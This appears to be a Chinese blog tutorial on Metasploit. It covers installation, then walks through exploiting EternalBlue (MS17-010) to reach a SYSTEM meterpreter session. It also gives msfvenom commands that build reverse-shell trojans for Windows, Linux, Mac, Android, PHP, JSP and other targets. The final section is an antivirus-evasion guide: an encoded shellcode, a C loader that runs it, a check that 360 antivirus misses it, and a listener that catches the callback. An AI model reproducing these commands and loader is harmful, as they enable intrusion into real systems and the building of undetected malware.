公眾號:白帽子左一
本文僅用於技術討論,禁止用於違法途徑
MSF簡介
Metasploit(MSF)是一個免費的、可下載的框架,通過它可以很容易地獲取、開發並對計算機軟件漏洞實施攻擊。它本身附帶數百個已知軟件漏洞,是一款專業級漏洞攻擊工具。
當H.D. Moore在2003年發布Metasploit時,計算機安全狀況也被永久性地改變了,仿佛一夜之間,任何人都可以成為黑客。因為只要掌握MSF的使用方法,每個人都可以使用MSF來攻擊那些未打過補丁或者剛剛打過補丁的漏洞。也因此軟件廠商再也不能推遲發布針對已公布漏洞的補丁了,因為Metasploit團隊一直都在努力開發各種攻擊工具,並將它們貢獻給所有Metasploit用戶。
MSF安裝介紹
MSF官網:https://www.metasploit.com/
MSF有兩個版本,Metaploit是開源免費的,Metaploit pro的商業收費的,這里我們用免費的社區版就可以了
MSF下載地址:https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
MSF安裝
(1)一鍵式安裝
在Linux / macOS上安裝Metasploit,這里有官方提供的腳本,可以一鍵式安裝
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
(2)手動安裝
注意:如果上面方法不可行,也可以進行手動安裝
Debian / Ubuntu軟件包位於https://apt.metasploit.com,而CentOS / Redhat / Fedora軟件包位於https://rpm.metasploit.com
ubuntu安裝
從https://apt.metasploit.com/下載MSF 的deb安裝包。
在終端運行:dpkg -i metasploit-framework_6.0.7+20200916102431_1rapid7-1_amd64.deb
就已經安裝好了,數據庫的安裝看上面的步驟
Centos安裝
從https://rpm.metasploit.com下載 rpm安裝包
在終端運行:rpm-i metasploit-framework-6.0.7+20200916102441~1rapid7-1.el6.x86_64.rpm
安裝完成
安裝postgresql數據庫
msf使用的是postgresql數據庫,如果沒有的話需要先安裝
安裝數據庫的時候會自動創建系統用戶postgres,數據庫用戶postgres,數據庫postgres
1、apt-get install postgresql //安裝postgresql數據庫
2、su - postgres //切換到postgres用戶
3、psql //登陸postgresql數據庫,首次登陸沒有密碼
4、\password postgres //修改數據庫用戶postgres的密碼
msf更新命令:
sudo msfupdate
msf使用數據庫
1、msfconsole //啟動msf
2、db_connect postgres:hehehe@127.0.0.1/test //用戶名,密碼,地址,自己隨意編造的名字。
3、db_status //查看數據庫連接狀態
MSF的功能模塊介紹
MSF所用功能主要可分為這幾個模塊,每個模塊都有各自的功能領域,形成了滲透測試的流程
1、Auxiliary(輔助模塊)
為滲透測試信息搜集提供了大量的輔助模塊支持
2、Exploits(攻擊模塊)
利用發現的安全漏洞或配置弱點對遠程目標系統 進行攻擊,從而獲得對遠程目標系統訪問權的代碼組件。
3、Payload(攻擊載荷模塊)
攻擊成功后促使靶機運行的一段植入代碼
4、Post (后滲透攻擊模塊)
收集更多信息或進一步訪問被利用的目標系統
5、Encoders(編碼模塊)
將攻擊載荷進行編碼,來繞過防護軟件攔截
MSF的基本使用方法
例如攻擊永恆之藍:
開啟數據庫:service postgresql start
初始化msf數據庫:msfdb init

開啟MSF:msfconsole

這里我們拿永恆之藍這個漏洞進行簡單的使用
首先要保證是能夠訪問到目標機器的,那么我們先ping一下目標機器,看網絡是否連通

此時是連通的狀態
永恆之藍的漏洞編號:ms17-010
根據漏洞名稱搜索 : search ms17_010

1、運用輔助模塊掃描目標
設置模塊:use auxiliary/scanner/smb/smb_ms17_010
查看設置:options

設置目標地址:set rhosts 192.168.174.129
目標端口默認是445,如果用nmap端口掃描windows文件共享服務不是開放在445端口上面,那這里需要進行修改,set rport 目標端口
設置好了之后,run或者exploit 進行攻擊

綠色的加號為可攻擊
2、設置攻擊模塊對目標進行攻擊
使用攻擊模塊:use exploit/windows/smb/ms17_010_eternalblue
查看所需設置:options

設置目標地址:set RHOSTS 192.168.174.129
設置目標端口:set RPORT 445
設置payload:set payload windows/x64/meterpreter/reverse_tcp
設置本地地址:set LHOST 192.168.174.192
攻擊:run或者exploit

攻擊成功,成功拿到會話
注意:存在一定機率將目標機器打成藍屏或者重啟
查看目前權限

系統權限,想干什么都可以了~
MSF后門生成模塊
Msfvenom常用命令參數
-l, --list <type># 列出所有可用的項目,其中值可以被設置為 payloads, encoders, nops, platforms, archs, encrypt, formats等等-p, --payload <payload># 指定特定的 Payload,如果被設置為 - ,那么從標准輸入流中讀取--list-options# 列出--payload <value> 的標准,高級和規避選項-f, --format <format># 指定 Payload 的輸出格式(使用 --list formats 列出)-e, --encoder <encoder># 指定使用的 Encoder (使用 --list encoders 列出)--sec-name <value># 生成大型Windows二進制文件時使用的新名稱。默認值:隨機4個字符的字符串--smallest# 使用所有可用的編碼器生成最小的payload--encrypt <value># 應用於shellcode的加密或編碼類型 (使用--list encrypt 列出)--encrypt-key <value># 用於加密的密鑰--encrypt-iv <value># 加密的初始化向量-a, --arch <arch># 指定目標系統架構(使用 --list archs 列出)--platform <platform># 指定目標系統平台 (使用 --list platforms 列出)-o, --out <path># 保存payload文件-b, --bad-chars <list># 設置需要在 Payload 中避免出現的字符,如: '\x00\xff'-n, --nopsled <length># 指定 nop 在 payload 中的數量-s, --space <length># 設置未經編碼的 Payload 的最大長度--encoder-space <length># 編碼后的 Payload 的最大長度-i, --iterations <count># 設置 Payload 的編碼次數-c, --add-code <path># 指定包含一個額外的win32 shellcode文件-x, --template <path># 指定一個特定的可執行文件作為模板-k, --keep# 保護模板程序的功能,注入的payload作為一個新的進程運行-v, --var-name <value># 指定一個變量名(當添加 -f 參數的時候,例如 -f python,那么輸出為 python 代碼, payload 會被按行格式化為 python 代碼,追加到一個 python 變量中,這個參數即為指定 python 變量的變量名)-t, --timeout <second># 設置從STDIN讀取payload的等待時間(默認為30,0為禁用)-h, --help# 幫助
msfvenom生成shellcode
普通生成
msfvenom -p 有效載荷 -f 輸出格式 -o 輸出文件msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
編碼生成
msfvenom -a 系統架構 --platform 系統平台 -p 有效載荷 lhost=攻擊機IP lport=攻擊機端口 -e 編碼方式 -i編碼次數 -f 輸出格式 -o 輸出文件msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
msfvenom —list archs #查看支持的系統架構
aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch
msfvenom —list platforms #查看支持系統平台
aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的輸出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的編碼器
常見生成格式
1、 Windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
2、Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
3、Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
4、Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
5、Aspx
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
6、JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
7、PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
8、BASH
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
9、Python
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
木馬如何免殺
木馬繞過免殺本質上還是更改他的特征碼,那么總結一下可以有
編碼加殼免殺二次編譯分離免殺:即將ShellCode和加載器分離
目前msfvenom的encoder特征基本都進入了殺軟的漏洞庫,很難實現單一encoder編碼而繞過殺軟,所以對shellcode進行進一步修改編譯成了msf免殺的主流。互聯網上有很多借助於C、C#、python等語言對shellcode進行二次編碼從而達到免殺的效果。
第一步:安裝編譯軟件VC++6.0

第二步:生成一個常見的木馬
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.174.196 lport=1250 -f c

第三步、編譯c語言為exe文件
#include "stdafx.h"#include <stdio.h>#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")unsigned char buf[] =(這里放生成好的數組)main(){((void(*)(void))&buf)();}
打開vc6.0,新建一個程序

選擇一個簡單的win32程序

打開a.app

將我們的代碼復制進去


編譯一下,看是否有問題

再編譯一下a.cpp

沒有問題的話,就可以組建a.exe了,這個文件就是我們要的木馬文件

第四步、測試是否成功
把得到的a.exe 復制到桌面,右鍵用360的木馬雲查殺功能試一下

成功繞過~

再測試一下我們的木馬是否有用,打開MSF開啟監聽
開啟監聽:msf5 > use exploit/multi/handler設置payload,和生成的木馬保持一致:set payload windows/meterpreter/reverse_tcp設置本地地址,和木馬一致:set lhost 192.168.174.196設置本地端口,和木馬一致:set lport 1250

msf5 exploit(multi/handler) > run

成功拿到會話了, 證明我們的木馬沒啥問題~
